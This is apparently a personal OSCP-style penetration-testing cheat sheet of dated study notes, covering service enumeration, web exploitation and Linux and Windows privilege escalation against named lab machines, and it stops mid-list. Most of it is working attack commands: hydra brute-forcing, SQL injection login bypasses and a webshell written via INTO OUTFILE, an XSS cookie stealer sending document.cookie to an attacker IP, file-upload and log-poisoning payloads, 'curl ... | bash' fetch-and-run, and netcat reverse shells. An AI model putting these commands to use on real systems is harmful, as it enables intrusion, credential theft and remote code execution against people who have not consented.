- 3: Sometimes, **misconfiguration** is the key, not **public exploit**

## FTP

- 1: Allow anonymous login, but **listing** directory is **blocked**
- 2: Anonymous login is **disallowed**, but **other credentials** work
- 3: Anonymous login is **allowed**, and **other credentials** also work
- 4: Looks like share the same folder with **webroot**, actually it isn't the case, it could be a **backup** folder or other **decoys**. Or **ACL** is configured
- 5: **Hidden** files or directories
- 6: Don't have **write** permission

## HTTP

- 1: Login credential is **not needed**
- 2: **Null content**
- 3: Use **sample content**, which is useless for **OSINT attack** (retrieve **credential**)
- 3: Strict **file upload filter** mechanism which **cannot be bypassed** on OSCP level. Or uploaded file is opened in a **preview UI**
- 4: The **application/framework** has public exploit, however it **lacks** necessary **components/plugins**
- 5: **Not** all **features/functions** are **helped/required** for foothold. **Complex feature** does **not guarantee** entry for foothold, and **simple feature** can give you foothold
- 6: SQL service does not guarantee SQLi vector
- 7: Vulnerable **service/plugin** does not guarantee **successful exploit** due to **additional configuration**

## SMB

- 1: Allow null session, but **listing** directory is denied
- 2: Don't have **write** permission

# Privilege Escalation

2021年8月20日 12:48

- 1: **Kernel version** looks to be vulnerable, however it cannot be exploited due to other **patches** and **configuration**
- 2: Not every file with **capability** guarantees PE vector, such as **uidmap**
- 3: Some files can only be exploited by **SUDO** instead of SUID
- 4: **Ports** protected by **firewall** or **listening locally** do not guarantee PE vector, but you still must **have a try**, just in case of falling into rabbit holes
- 5: In a docker environment

# Overview

2021年9月10日 15:32

Typically, there are **two general approaches** to get a foothold

## 1: Execute remote command

- a: Directly gain RCE from a **public exploit/misconfiguration**
- b: The first exploit/misconfiguration provide **necessary info** for the second exploit such as credential for a service, and use the **second exploit** such as an **authenticated RCE exploit** to gain RCE

## 2: Collect credential to log in via SSH/RDP/Winrm

- a: Retrieve **sensitive info** and **credential**

# Credential

2021年9月18日 20:39

Most service require **authentication**, at least they **support** authentication. **Credential reuse** is one of the **most common vector**, therefore, we need to enumerate and note every possible credentials

Source of credentials:

- a: **OSINT** (Default credential)
- b: Common services' **default credential**
- c: **Web content**, such as blog, article, comment, message, etc.
- d: Use **enum4linux** to enumerate **SMB users**
- e: Web page's **source code**, especially **comment**
- f: Sometimes in **JavaScript file**
- g: Various **config file**, such as **wp-config.php**, etc.
- h: **Hard-coded** in **source code** file, such as **php, java**, etc.
- i: **File name**, **directory name**, **SMB/NFS Share name**
- j: **Document** files, such as **note.txt, info.docx, account.xlsx**, etc.
- k: **Database**
- l: **Banner info** or **auto-reply message**
- m: **/home/\*/bash\_history** (If readable)



# FTP

2021年8月2日 22:22

- 1: ftp 10.10.10.10 (-p)
- 2: Use **Filezilla** client to connect
- 3: Try **anonymous** login
- 4: Try **weak credentials**, ex: **admin:admin**  
###Ref: **Banzai, AuthBy**
- 5: Try **guest** login with **blank password**  
###Ref: **UT99**
- 6: Share **folders/files** with **SMB, webroot**
- 7: **hydra -l admin -P rockyou.txt -vV 10.10.10.10 ftp**
- 8: Different users have access to **different shares**  
###Ref: **AuthBy**
- 9: Download **all files** from FTP server: **wget --mirror 'ftp://user1:passwd@10.10.10.10'**

## Weak Credentials List:

- a: **anonymous:anonymous**
- b: **admin:admin**
- c: **guest:[blank]**
- d: **victim:victim** (victim is the **regular user** on server, such as **Tom**)
- e: **ftp:ftp**
- f: **admin:password**
- g: **user:password**

# SSH

2021年8月2日 22:23

- 1: `cd /home/victim/.ssh, cd /root/.ssh`
- 2: `hydra -l user -P dict/rockyou.txt ssh://10.10.10.10:22 -vV -t 4`
- 3: Weak credential, password and username are **the same**
- 4: Upload own **id\_rsa.pub** to target server as **authorized\_keys**, `chmod 600`
- 5: Stole target's **id\_rsa**, `chmod 600`
- 6: Other **key exchange method**, such as **DSA**  
###Ref: **Sufferance**
- 7: OpenSSL's vulnerability, such as **Predictable PRNG**  
###Ref: **Sufferance**
- 8: **X11Forwarding**  
###Ref: **Forward**

# Telnet

2021年8月2日 22:23

**1: hydra -l root -P rockyou.txt 10.10.10.10 telnet**

# SMTP

2021年8月2日 22:23

- 1: `rlwrap nc -nv -C 10.10.10.10 25`
- 2: **VRFY, EXPN, RCPT**, etc.
- 3: `smtp-user-enum -M VRFY -U user.txt -t 10.10.10.10`
- 4: `nmap -script smtp-commands.nse 10.10.10.10`
- 5: Verify existence of **user accounts** and **department accounts** from OSINT (**Teams section** of a website), and then try to log in via **POP** or **IMAP**
- 6: Use **SMTP** to send an email
  - a: **helo hacker**
  - b: **MAIL FROM: hacker@localhost**
  - c: **RCPT TO: victim@localhost**
  - d: **DATA**
  - e: **C**
  - f: **. [Enter]**
  - g: **quit**
- 7: If **domain** is required, add **@localhost, @hostname, etc**
- 8: If **.forward** existed in **user's home folder** and it is **writable**, **RCE** is possible (Ref: **Forward** in **PG**)

# DNS

2021年8月2日 22:23

- 1: **dig any hutch.offsec @10.10.10.10**
- 2: **dig axfr hutch.offsec @10.10.10.10**
- 3: **nslookup**

# TFTP

2021年8月2日 22:23

- 1: Does not have **authentication**
- 2: Upload/Download files
- 3: Does it share the same folder with **Webroot**?

# HTTP/HTTPS

2021年8月2日 22:23

## Enumerate directory/file/API-endpoint

0: If web server runs on an **uncommon port**, try both **HTTP** and **HTTPS** protocol

###Ref: **Mock Exam 20pts-2**

1: **sub-domains** and **virtual host**

###Ref: **Phobos**

2: **dirb** <http://10.10.10.10>

3: **gobuster dir -u <http://10.10.10.10> -w dir.txt -x html,txt,php,aspx,java -t 20**  
(-k, if https)

4: **wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404**  
<http://10.10.10.10/FUZZ/>

5: Use specific app's dictionary: such as SharePoint CMS dictionary

###Ref: **Tally**

6 **Hidden** directory, named as **hostname**, **domain name**, **username**, **service name**, sometimes little **social engineering** skills (Guess one, retrieve info from contents) required

###Ref: **Shenzi**

7: Same version application's **GitHub repository/Official Document**

###Ref: **Megavolt**

8: Specified from web content, such as from **Post/Blog/Review**

###Ref: **Catto**

9: **robots.txt**, **sitemap**

10: Access **non-existed URL**, get **error messages**

###Ref: **Medjed, Nappa**

11: Enumerate **sub-directory** with a **basic authentication**: **gobuster dir -U admin -P admin -u <http://10.10.10.10/private> -w dir.txt -x html,php,aspx,txt -t 20**

###Ref: **Phobos**

## Low-hanging vulnerability

1: **Framework's** vulnerability, **language's** vulnerability

2: Specialized scanner like **wpscan**

3: **SSL vulnerability**, such as **HeartBleed** vulnerability. Tool is available from <https://github.com/drwetter/testssl.sh>

## Source Code Review

1: **Comment** (Search '**<!--**') )

2: **URL of redirected pages**, since some **hyperlinks don't have colors** (Search '**href**') )

###Ref: **Megavolt**

3: Press **F12** in **browser** to **edit code**, recover **hidden elements**

###Ref: **Nappa**

### **Browser**

1: Combine **Firefox** with **Chrome**

###Ref: **Synapse**

2: Use convenient **add-ons**: **Wappalyzer**, **Cookie-Editor**, **Shodan**, **Hack-Tools**, **Foxproxy**, etc.

###Ref: **Flasky**, **Megavolt**

3: If an exploit is unsuccessfully, switch to **another explorer** (Ref: **Synapse**)

4: Dev Tools

###Ref: **Nappa**

### **Framework and Language Feature**

1: Such as **master page** to **ASP.NET**

###Ref: **Butch**

2: Use simple payload like "**1+1**", "**1\*2**" to check **eval()**, especially in **JavaScript** and **Python**

###Ref: **Dibble**, **Flasky**, **Hetmit**

3: Use payload like **{{7\*7}}** to check **SSTI** vulnerability, output reveals web **framework**

###Ref: **CookieCutter**

### **OSINT**

1: **Public web content** could have **valuable info**, pay attention to **user profile/bio** section, **blog**, **post**, **reviews**, etc.

###Ref: **Medjed**, **PostFish**, **Hepet**, **Catto**

2: If **HTTPS**, check **certificate** info, find possible **email** or **username**

### **Bypass login**

1: Default credential

2: Weak/Common credential

3: SQLi payload

a)

username=**admin'** or **'1'=1**

password=[arbitrary]

b)

username=admin

password=**' or '1'='1**

c)

username=admin

password=**' or 1=1-- -**

d)

username=**admin' or 1=1-- -**

password=[arbitrary]

4: **Guess** according to **OSINT**



###Ref: **BillyBoss**

5: Dictionary Attack

6: **Register** one

###Ref: **Medjed, Nappa**

7: **Not required** for exploit

8: **Prompts** of **basic authentication** (Ref: **Walla**), **source codes** especially comments

###Ref: **Nappa**

9: Launch **SQLi** to **overwrite** or **retrieve**

###Ref: **Medjed**

10: **XSS** steals **cookie**

###Ref: **Megavolt**

11: **session reuse**

###Ref: **Shifty**

12: **OSINT**

###Ref: **Nappa**

### **Bypass IP-Filter**

1: Add **X-Forwarded-For: 127.0.0.1** header

###Ref: **XPosedAPI**

2: **SSRF**

###Ref: **CookieCutter**

### **Burpsuite**

1: Check special **headers**

###Ref: **Twiggy**

2: **Communication/Dependency** with other **services/ports**

###Ref: **Catto**

3: Edit request to bypass **access control**

###Ref: **Interface**

4: Like 3, edit request to **impersonate admin** user

###Ref: **Interface**

5: Analyze API

###Ref: **XPosedAPI, Catto, Hetmit, Nickel, Interface, Hunit**

### **WebDAV**

1: Use **nikto** to scan

2: **cadaver** <http://10.10.10.10>

###Ref: **Hutch**

3: **Credential** (If required)

4: **Put/Get** to **upload/download** file

### **CGI**

1: **shellshock**

###Ref: **Alpha**

## SQLi

1: Bypass login, refer **Bypass Login** section

1: Use a special character such as **single quote** to verify **existence** of SQLi

###Ref: **Medjed**

2: Write a shell to webroot: ' **UNION SELECT ("<?php echo passthru(\$\_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- '**

###Ref: **Medjed, Hawat**

3: **Error-based** Injection

###Ref: **Medjed**

## XSS

1: Steal admin's **cookie** to bypass login: **<script>new**

**Image().src="http://10.10.10.20/file.jpg?**

**cookie="+document.cookie;</script>, nc -nlvp 80**

###Ref: **Megavolt**

2: Turn to shell

## Cookie and Session

1: **Steal cookie** by XSS

###Ref: **Megavolt**

2: **Generate/Fake** a **valid cookie**

###Ref: **Flasky**

3: **Reuse session**

###Ref: **Shifty**

## File Upload

1: Identify framework's **language**

2: File extension **blacklist/whitelist**: Modify file extension to **phtml, txt**, etc.

And the payload could be: **<?php echo shell\_exec(\$\_GET['cmd']); ?>**. Access

<http://abc.com/xyz.php?file=shell.php&cmd=whoami>

###Ref: **Payday, Pain**

3: Filter type: **client filter** or **server filter**, **whitelisting** or **blacklisting**

###Ref: **Escape**

4: Access uploaded **file's URL**

## Config File

1: **phpinfo.php**

2: **/var/www/html, /var/www/[application name]**

3: **Webroot, hostname, username, version, API, database credential**, etc.

4: **/etc/apache2/**

## Embedded Console/Shell Interface

1: Like the one in **Walla**

## GET and POST

1: Construct **POST** method request: `curl -X POST --date`

`"email=test@test.com" http://10.10.10.10`

###Ref: **XPosedAPI, Hetmit**

2: Construct **GET** method request: `curl http://10.10.10.10?`

`email=test@test.com`

3: Sometimes need to **guess arguments** by **trials and errors**, follow **errors messages** and **prompts**

###Ref: **Nickel**

## Database

1: **SQLi**

###Ref: **Medjed, Hawat**

2: **Retrieve credential**

###Ref: **Phobos, Medjed**

3: **Overwrite credential** if hash is **unexploitable**

###Ref: **Tico, Dibble**

## Plugin

1: Vulnerable plugin's exploit

###Ref: **Nukem, Tico**

2: Enable a specific **plugin**

###Ref: **Megavolt**

## Guess parameter and Fuzz

1: Guess **hidden parameter**. For example, if current page is **email-related**, guess **email** as the **parameter**.

###Ref: **UC404**

2: `ffuf -w dict/wincmd.txt -u http://10.10.10.10/reset.php?email=FUZZ`

###Ref: **UC404**

3: Find potential **command injection** vulnerability

###Ref: **Nickel, UC404, Phobos**

## URL Encoding

1: Pay attention to **encoded character**

2: Encode **URL** especially using curl or burpsuite to launch **RCE** attack

###Ref: **Dibbles, Nappa**

3: Sometimes, only some **special characters** are encoded

###Ref: **Phobos**

## LFI/RFI

1: If an argument name is like **view, file, page, skin, theme, template**, etc., file inclusion is highly possible

2: If LFI is confirmed, try **RFI** as well

3: If RFI does not work, change **HTTP/FTP** protocol to **SMB** protocol.

### ###Ref: Sniper

4: If RFI really does not exist, use LFI to read some **sensitive files** such as a **config file** which contains **credentials**. Then leverage **harvested credential** for **next exploit**

### ###Ref: Muddy

5: Switch between **absolute path** and **relative path**

### ###Ref: G00g

6: Include **service config files**, such as **/etc/apache2/sites-available/000-default.conf**, **/etc/vsftpd.conf**, etc.

### ###Ref: Deployer, G00g

7: Use **PHP filter** to check **source code**:

<http://10.10.10.10?page=php://filter/convert.base64-encode/resource=view.php>

### ###Ref: G00g

8: If **XXE** is possible, it can also lead to **LFI**

### ###Ref: Muddy

9: LFI itself does have **some approaches** that lead to **RCE**

10: Some **restriction**, need a little **adjustment** to **file name**, **file extension**, end of file name (**%00**), etc.

### ###Ref: Pain, Gh0st, G00g

## Path Traversal

1: Read **server's file**, such as **/etc/passwd**

### ###Ref: Apex

2: Transfer **inaccessible file**(**backend file**, **authorized-required file**) to accessible directory (**File Manager interface**, **SMB/FTP share**)

### ###Ref: Apex

## Webroot

1: **Side site** upload/injection

### ###Ref: Medjed

2: Association with **FTP**, **SMB** root folder

### ###Ref: Banzai

## Tomcat

1: Try to access **/manager**

2: **Default cred**: admin:admin, tomcat:tomcat, admin:NULL, admin:s3cr3t, tomcat:s3cr3t, admin:tomcat

3: Upload **.war** payload

## WordPress

1: Default **login path**: **/wp-login.php**, **/wp-login**, **/wp-admin**, **/wp-admin.php**, **/login**

2: wpscan

3: **Plugin**, **themes'** exploit

4: Panel RCE (**Apperance->Editor->404 Template**)

5: Upload a **plugin**

6: Its **config** file (For **PE** stage)

## Jenkins

1: **RCE**: create a **new project**, **build section->execute shell**, **Build now**

## Error Messages

1: **Incorrect padding** ==> Existence of **encoding**, such as **Base64**

2: **No such file or directory** ==> Possible **LFI/RFI**

3: cannot **register** this username ==> This username does **existed**

4: Access a **non-existed URL** ==> Reveal **all paths** (**Rail**)

## API Hacking

1: Use **burpsuite** to analysis **requests**, **responses**, and **hidden URL** (especially those cannot be **enumerated** by **dirb** or **gobuster**)

2: Enumerate all **endpoints**

###Ref: **Interface**, **Hunit**

3: Interface, such as **GraphQL interface for Gatsby**

###Ref: **Catto**

4: Official doc

###Ref: **Catto**

5: **Fuzz API endpoint** (<http://10.10.10.10/endpoint/FUZZ>) to check **LFI/RFI** and **Command Injection** vulnerability with **filename**, **command**, **encoded filename** and **command**

###Ref: **Reconstruction**

## Connection/Dependency with other ports/services

1: Use **burpsuite** to analysis traffics

###Ref: **Catto**

2: Links pointing to **other ports** in **source codes**

###Ref: **Nickel**

3: **Database**, **memcached** server, etc.

###Ref: **Shifty**

4: Search

###Ref: **Twiggy**

## Werkzeug

1: If **debug** is enabled, access **/console** and launce **RCE**

2: **eval()**

###Ref: **Flasky**, **Hetmit**

## Rails

1: Access a **non-existed URL** to get **error messages**

## Vulnerable methods

1: **eval()** in **NodeJS** and **Python**

###Ref: **Dibble, Flasky, Hetmit**

2: **preg\_replace()** in **PHP**

###Ref: **Splodge**

## SSRF

1: Access **internal web server**

###Ref: **CookieCutter**

## SSTI

1: Try payload **cmd={{7\*7}}** to detect

###Ref: **CookieCutter**)

## SSI

1: Pay attention to **shtml** page

###Ref: **Synapse**

## Git and SVN

1: Download all content: **wget -r** <http://10.10.10.10/.get>

2: Find **source** on **github**

## GraphQL

1: **/graphql, /graphiql, /graphql.php, /graphql/console, /\_\_graphql**

###Ref: **Catto**

2: **Query**

###Ref: **Catto**

# POP3

2021年8月2日 22:23

- 1: Use nc or telnet to connect
  - a: **USER victim, PASS 123123**
  - b: **LIST**
  - c: **RETR 1**
- 2: Combine **username** with **simple passwords** (password, 123456, username, etc.)
- 3: **IMAP** is similar to **POP3**

# IMAP

2021年9月1日 1:13

- 1: Similar to **POP3**
- 2: Use **netcat** or **telnet** to connect
  - a: **AI LOGIN user pass**
  - b: **AI LIST "" \***
  - c: **AI LIST INBOX \***



# RPCBind

2021年8月2日 22:24

1: **RPCBind+NFS**, could be able to **list** and **download** file

# NTP

2021年8月13日 15:09

1: nmap -sU -sV --script "ntp\* and (discovery or vuln) and not (dos or brute)" -p 123 10.10.10.10

2: **ntpq -c sysinfo 10.10.10.10**

# MSRPC

2021年8月2日 22:24

1: **Rarely** helps in exploitation

# SMB

2021年8月2日 22:24

- 1: enum4linux -a 10.10.10.10
  - a: **Users info**
  - b: **Domain info**
  - c: **Share info**
- 2: smbclient -L 10.10.10.10
- 3: smbclient //10.10.10.10/share
- 4: smbclient //[10.10.10.10](#)/share -U "
- 5: smbclient //10.10.10.10/share -U "bob%passw0rd"
- ###Ref: **Forward**
- 6: **mount -t cifs //10.10.10.10/share /mnt/share**
- 7: **mount -t cifs -o username=victim //10.10.10.10/share /mnt/share**
- 8: nmap -p 139,445 10.10.10.10 --script smb-vuln\*
- 9: nbtscan -r 10.10.10.10
- 10: rpcclient -U "" 10.10.10.10
- 11: smbclient //192.168.121.116/my\ share **(With space)**
- 12: Download all files **recursively**
  - a: **mask ""**
  - b: **recurse ON**
  - c: **prompt OFF**
  - d: **mget \***
- 13: Share folder with **webroot**
- 14: **Path traversal** vulnerability
- ###Ref: **Sufferance**
- 15: Different **SMB users** have access to **different shares**
- ###Ref: **Forward**

# SNMP

2021年8月2日 22:24

- 1: **snmpwalk -c public -v1 10.10.10.10**
  - 2: **snmp-check 10.10.10.10 -c public**
  - 3: **nmap -P 161,162 -sU 10.10.10.10**
  - 4: Use **Extend-MIB tables** to launch **RCE**
- ###Ref: **Escape**
- 5: **Write-Read** community string leads to **RCE**

# LDAP

2021年8月12日 21:56

- 1: **nmap -n -sV --script "ldap\* and not brute" 10.10.10.10**
- 2: Check Null credentials: **ldapsearch -x -h 10.10.10.10 -D " " -w " " -b "DC=hutct,DC=offsec"**
- 3: Authenticated: **ldapsearch -x -h 10.10.10.10 -D 'hutch\victim' -w '123123' -b "DC=hutch,DC=offsec"**
- 4: If **LAPS** is enabled, try to query **admin**'s password: **ldapsearch -x -h 10.10.10.10 -D 'hutch\victim' -w '123123' -b "dc=hutch,dc=offsec" "(ms-MCS-AdmPwd=\*)" ms-MCS-AdmPwd**  
**###Ref: Hutch**

# MSSQL

2021年8月2日 22:24

- 1: **sqsh -S 10.10.10.10 -U sa**
- 2: **python mssqlclient.py -p 1435 sa:123123@10.10.10.10**
- 3: Check and enable **xp\_cmdshell**
  - a: **sp\_configure 'show advanced options', '1'**
  - b: **RECONFIGURE**
  - c: **sp\_configure 'xp\_cmdshell', '1'**
  - d: **RECONFIGURE**
  - e: **xp\_cmdshell cd C:/Users && dir**
- ###Ref: **Meathead**
- 4: **Get databases:** **SELECT name FROM master.dbo.sysdatabases #Get databases**
- 5: **Get tables:** **SELECT \* FROM <databaseName>.INFORMATION\_SCHEMA.TABLES;**

# MySQL/Maria DB

2021年8月2日 22:50

- 1: mysql - host 10.10.10.10 -u root -proot (**Credential** stored in **Web config** file)
  - 2: telnet 10.10.10.10 3306
  - 3: cat /etc/my.cnf
  - 4: **UDF** to RCE
- ###Ref: **Banzai, PWK Textbook Lab**
- 5: Get **version**: select version();, select @@version();
  - 6: Get **user**: select user();
  - 7: Get **database name**: select database();
  - 8: **Union SQLi**:
    - a: Union Select 1,2,3,4,group\_concat(0x7c,table\_name,0x7C) from information\_schema.tables
    - b: Union Select 1,2,3,4,column\_name from information\_schema.columns where table\_name="user"
  - 9: Use SQLi to **write a backdoor**: ' UNION SELECT ("<?php echo passthru(\$\_GET['cmd']));") INTO OUTFILE 'var/www/html/cmd.php' -- -'
  - 10: **Error-based SQLi**:
    - a: ' AND (SELECT 1 FROM(SELECT COUNT(\*),concat(0x3a,(SELECT username FROM users LIMIT 0,1),FLOOR(rand(0)\*2))x FROM information\_schema.TABLES GROUP BY x)a)-- -,
    - b: ' AND (SELECT 1 FROM(SELECT COUNT(\*),concat(0x3a,(SELECT password FROM users LIMIT 0,1),FLOOR(rand(0)\*2))x FROM information\_schema.TABLES GROUP BY x)a)-- -
  - 10: **Read file**: select load\_file('/etc/passwd');



# NFS

2021年8月2日 22:24

- 1: nmap --script nfs\* 10.10.10.10
- 2: **showmount -e 10.10.10.10**
- 3: **mount -10.10.10.10:/dir /tmp**

# RDP

2021年8月2日 22:24

## Enumeration

- 1: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.10.10.10
- 2: python rdp\_check hutch/victim:123123@10.10.10.10

## Connect to RDP

- 1: rdesktop 10.10.10.10
- 2: xfreerdp /u:[hutch\]victim /p:123123 /v:10.10.10.10
- 3: xfreerdp /u:[hutch\]victim /pth:[hash] /v:10.10.10.10

## Crack RDP

- 1: Could lead to lock
- 2: hydra -t 1 -V -f -l administrator -P rockyou.txt rdp://10.10.10.10

## Have credential but RDP is disabled

- 1: evil-winrm -u admin -p 123123 -I 10.10.10.10
- 2: python smbexec.py admin:123123@10.10.10.10 cmd.exe
- 3: python psexec.py admin:123123@10.10.10.10 cmd.exe

# Postgres

2021年8月13日 15:38

- 1: **psql -h 10.10.10.10 -p 5432 -U postgres -W postgres**
  - 2: **\list, \c postgres, \d**
  - 3: **select pg\_ls\_dir('/')**
  - 4: Read a file: **create table demo (t text); copy demo from '/etc/passwd';  
select \* from demo;**
  - 5: **RCE**
- ###Ref: Nibbles, Splodge**

# VNC

2021年8月13日 15:26

1: Port **5800, 5801, 5900, 5901**

2: **vncviewer 10.10.10.10:5901**

3: Sometimes **GUI** is **required** for some programs

###Ref:Nukem

# Additional Service

2021年8月2日 22:27

## Erlang

- 1: port **4369**, service: epmd
  - 2: **nmap -sV -Pn -n -T4 -p 4369 --script epmd-info 10.10.10.10**
  - 3: Find **erlang cookie** (.erlang.cookie) to launch **RCE** attack
- ###Ref: Clyde

## RSYNC

- 1: a: **rlwrap nc -nv -C 10.10.10.10 873**  
b: **@RSYNCD 31.0**  
c: **#list**
- ###Ref: Fail

## IRC

- 1: **Hexchat**
  - 2: **Telnet or nc**
    - a: **rlwrap nc -nv -C 10.10.10.10 6667**
    - b: **USER kali 0 \* kali, NICK kaliii (Quick!)**
    - c: **VERSION, INFO, LIST, ADMIN**
- ###Ref: UT99

## Redis

- 1: **redis-cli -h 10.10.10.10**
  - 2: **info, client list, config get \***
  - 3: **redis RCE**
- ###Ref: Wombo
- 4: In redis cli, execute: Load **custom** module: **LOAD MODULE /var/ftp/pub/module.so**
- ###Ref: Sybaris

## RabbitMQ

- 1: Access <http://10.10.10.10:15672/>
- 2: Default credential: **guest:guest**

## Memcache

- 1: **nmap -n -sV --script memcached-info -p 11211 10.10.10.10**
  - 2: Use telnet/nc to connect, **stats slabs, stats items, stats cachedump 1 0**
  - 3: Could store **sessions**
  - 4: **get session:session1**
  - 5: **mc.set("session:shell", pickle.dumps(RCE()))** (Python)
- ###Ref: Shifty

## ElasticSearch

- 1: Access <http://10.10.10.10:9200/>
- 2: curl -X GET <http://user1:123123@10.10.10.10:9200>

## Mongodb

- 1: mondo 10.10.10.10
- 2: mongo 10.10.10.10:27017
- 3: **mongo db -u user1 -p '123123'**
- 4: **Mongodb Compass** for GUI access

###Ref: Tico, Phobos, Dibbles

- 5: Python login

```
a: import pymongo
b: c=pymongo.MongoClient("127.0.0.1", 27017)
c: c.database_names()
d: c.[name].collection_names()
f: for l in c.[name].[key].find({}):
g: print(i)
```

## Others:

Check this link:

<https://book.hacktricks.xyz/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop>

# RCE to Shell

2021年8月2日 22:23

## Common

1: Check **connection**:

Kali: **tcpdump -i tun0 "icmp"**,

Target: **ping -c 5 10.10.10.20** (Sometimes **ping** is **unavailable** on target)

2: Switch **/bin/bash** to **/bin/sh** (vice versa)

3: Add **-c** or **/c** flag to **bash**, **cmd**, or **powershell** to create a **new process**

4: Adjust **payload**, **add** or **delete** some **characters**

5: For some script language payload, switch between **one-line payload** and **function-encapsulated payload**

## Addition

1: Create a **bash/python(3)/etc. script** exp.sh on Kali, **curl**

<http://10.10.10.20/exp.sh> | **bash** (On victim server)

2: Use **msfvenom** to generate a payload, **execute it** on victim server

3: Create a **bash/python(3)/etc. script** on **victim server**, execute it

## LFI to RCE

1: Include **session file**

a: Fill a POST form to make username= **<?php system("[command]");?>**

b: Note the session value, and then find php session file. Usually in **/var/lib/phpx/sess\_[SessionId]**, **/tmp/sess\_[SessionId]**

c: Include the session file

2: **phpinfo.PHP**

a: If **file\_uploads** is on

b: PoC script: <https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfophp>

3: **Log poison**

a: If log file is **accessible**, such as **/var/log/vsftpd.log**, **/var/log/apache2/access.log**

b: For **access.log**, insert payload to **user agent**. For **vsftpd.log**, give payload in **username section**

c: **Include** the log file

4: **Send mail**

a: Send an email with a malicious payload

b: Include **/var/mail/www-data**

## RFI to RCE

1: Include a **webshell** from Kali VM

2: If http is not permitted, use **SMB URL**

3: Execute commands or receive a reverse shell

## **Linux**

- 1: Transfer nc to /tmp
- 2: **chmod +x /tmp/nc**
- 3: **/tmp/nc 10.10.10.20 4444 -e /bin/bash**

## **Windows**

- 1: Transfer **nc.exe** to **C:/windows/tmp**
- 2: **C:/windows/tmp/nc 10.10.10.20 4444 -e cmd.exe**



# Adjust Payload

2021年8月2日 23:04

- 1: Pay attention to special characters: ' " ` / \ : ( ) { } [ ].
- 2: **Add or delete one or more** special characters at the **beginning** or the **end** of payload, according to the application.  
###Reference: **Humble**
- 3: Switch payload between **one-line payload** or **function-encapsulated payload** ###Reference: **Dibble**
- 4: If one exploit does not work, **switch to another exploit** if possible  
###Reference: **Exfiltrated**

# Manual Enumeration for Both

2021年8月14日 17:38

Even automatic scripts such as Linpeas will not tell you all possible PE vectors, check the following manually

- 1: **Backups** folder, **user's folder**, **webroot**
- 2: **Ports blocked** by **firewall** (Show in **target netstat list**, but does not appear on **nmap scanning result**)
- 3: Ports listening **locally**
- 4: **Third-party** program's folder
- 5: **Custom SUID** file, or custom file with **sudo** permission
- 6: **Document** files (doc, txt, pdf, ps1, etc.) contain **sensitive info**, such as **credential**, **hidden directory**, etc.
- 7: If a **regular file** cannot be found, try to find its **backup** file (Ref: **Hunit**)

# Linux

2021年8月2日 22:25

## Manual checklist

- 1: **cat /etc/crontab, cd /etc/cron.d**. If a specific application is invoked, check its **version** and **vulnerability**, such as **exiftool (dpkg -l | grep exiftool)**
- 2: **Writable passwd** or **readable shadow**
- 3: Check **sudo list**: **sudo -l**. Use a **user/group** privilege to execute a program.  
User: **sudo -u user1 [CMD]**, Group: **sudo -g group1 [CMD]**
- 4: **Shell file**, such as **xxx.sh**, especially **writable** ones
- 5: Find **SUID file**: **find / -type f -perm /4000 2>/dev/null**
- 6: Find **writable file**: **find /etc -type f -writable 2>/dev/null**
- 7: Check **environment variables**: **export, echo \$PATH, echo \$LD\_LIBRARY\_PATH**, and find **path** of **key\_file** by executing **which key\_file**. If possible, use **PATH trick**.
- 8: If something is missing from environment variables, **export** it. For example:  
**export PATH**
- 9: If a **directory** in **PATH** is **writable**, change directory to this directory, create a **payload** named **run-parts**, because **run-parts** is **always** invoked by **cronjobs**. If there is any program executed by cronjobs and have **less intervals** than run-parts, that's better.
- 10: Inspect **webroot folder** carefully
- 11: Capability: **getcap keyfile, getcap -r / 2>/dev/null**
- 12: **uname -an**, check **kernel version**
- 13: **ps aux | grep root**, check services ran by **root**
- 14: **netstat -ano | grep 127.0.0.1**, check **locally listening ports**
- 15: **grep -R "pass" 2>/dev/null**, search for **plaintext password**, such as **MySQL's credential**.
- 16: Log in database, find **users' credential**, which could be **reused**
- 17: Check if any **port** is **protected by a firewall**, if so, use **port forwarding** technique
- 18: Whether it is a **container environment (E.g. If root directory has .dockerenv)**
- 19: Check **/var/backups** and other **backups folder**
- 20: Use **pspy** to find **hidden process** and **cronjob**
- 21: If a **file** ran with **root permission** is not invoked by **full path**, **PATH trick** can be possible
- 22: If there is a **normal user** in server, try to switch to him/her
- 23: Is it a **docker** environment? If it is, **important info** can **still** be found
- 24: **sudo su, su root, su normaluser** with **reused password (web's login credential, other services' credential, etc.)**, weak password.
- 25: If any port is listening locally and interesting, forward it to Kali: **ssh -L 445:localhost:445 victim@10.10.10.10**

26: Some services require **GUI** instead of **shell**, use **VNC/ssh -X (X11Forwarding)** to login target

27: Check binary file's **dynamic libraries**: **ldd file1**. If it lacks a dynamic library, we can use **dynamic library hijacking** technique. If all paths in **LD\_LIBRARY\_PATH** are **unwritable**, check **/etc/ld.so.conf.d** folder

28: Check **/etc/fstab** to list all **mounted filesystems**. Is any directory set **nosuid, noexec**, etc. For example, **/tmp** can be set **nosuid, noexec**.

### **Auxiliary**

1: **./linpeas.sh -a>log.txt**

2: **linenum.sh**

# Windows

2021年8月2日 22:25

## Low hanging Fruit:

- 1: **whoami /priv**, check available privileges
- 2: **Plaintext password** in registry: **reg query HKLM /f pass /t REG\_SZ /s**
- 3: Check **hotfix**: **wmic qfe list**
- 4: Check write permission: **icacls C:/Folder\_A, echo '123' > 123.txt**
- 5: Check unquoted autorun service: **wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v ""**
- 6: **Autorun** services: **wmic service get name,displayname,pathname,startmode | findstr /i "auto"**
- 7: Check service info: **sc qc Service1**
- 8: Check environment variable: **PATH**
- 9: Check **Third-Party program**: In **Program File** or **Program File (x86)** folder, **user's folder**, **Backup** folder, **Desktop**, etc.
- 10: Check **powershell script**, **txt** files, and other **descriptive** documents
- 11: **systeminfo**, check **kernel version** and **hotfix list**
- 12: **net users /domain**, check users' **privileges**
- 13: Check if any **port** is **protected** by a **firewall**, if so, use **port forwarding** technique
- 14: Scheduled tasks: **schtasks /query /fo LIST /v**
- 15: Running tasks: **tasklist /SVC**
- 16: Writable files and directories: **Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{\$\_.AccessToString -match "Everyone\sAllow\s\sModify"}**
- 17: Check **mounted** and **unmounted** drives: **mountvol**
- 18: Check **AlwaysInstallElevated**:
